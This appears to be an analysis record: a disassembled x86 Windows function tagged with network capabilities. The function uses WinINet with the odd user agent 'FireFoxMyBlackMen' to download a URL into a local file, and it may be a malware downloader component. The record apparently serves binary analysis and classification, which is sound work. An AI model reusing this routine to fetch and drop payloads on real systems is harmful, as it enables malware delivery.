Function at 0x1005e8e0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007a390
mov eax, dword fs:[0]
push eax
mov eax, 0x10bc
call fcn.10074f20
mov eax, dword [0x1008d040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov esi, ecx
push 0
push 0
push 0
push 1
push str.FireFoxMyBlackMen
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
je 0x1005e957
cmp dword [esi + 0x14], 0xf
jbe 0x1005e937
mov esi, dword [esi]
push 0
push 0x80000000
push 0
push 0
push esi
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x1005e95e
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x1005eb2c
push 0xb0
lea eax, [ebp - 0x10c8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [ebx + 0x14], 0xf
jbe 0x1005e97c
mov ebx, dword [ebx]
sub esp, 8
lea ecx, [ebp - 0x10c8]
push 0x20
push ebx
call fcn.100186d0
mov eax, dword [ebp - 0x10c8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x10c8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x10cc], eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x10c8]
mov eax, dword [ebp - 0x10c8]
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator__void_const]
test al, al
je 0x1005e9e7
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
xor bl, bl
jmp 0x1005ea81
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1010]
mov dword [ebp - 0x1014], 0
push eax
push esi
call ebx
test eax, eax
je 0x1005ea4b
mov eax, dword [ebp - 0x1014]
test eax, eax
je 0x1005ea4b
push 0
push eax
lea eax, [ebp - 0x1010]
push eax
lea ecx, [ebp - 0x10c8]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push esi
call ebx
test eax, eax
jne 0x1005ea11
lea ecx, [ebp - 0x10c4]
call fcn.100194a0
test eax, eax
jne 0x1005ea73
mov eax, dword [ebp - 0x10c8]
lea ecx, [ebp - 0x10c8]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov bl, 1
mov eax, dword [ebp - 0x10c8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x10c8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x10cc], eax
mov dword [ebp - 4], 2
cmp dword [ebp - 0x1078], 0
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
je 0x1005eaf2
mov eax, dword [ebp - 0x10b8]
lea ecx, [ebp - 0x1088]
cmp dword [eax], ecx
jne 0x1005eaf2
mov edx, dword [ebp - 0x1070]
mov ecx, dword [ebp - 0x1074]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x10a8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1098]
mov dword [eax], edx
cmp byte [ebp - 0x107c], 0
je 0x1005eb06
lea ecx, [ebp - 0x10c4]
call fcn.100194a0
lea ecx, [ebp - 0x10c4]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x10c0]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x1060]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10073c20
mov esp, ebp
pop ebp
ret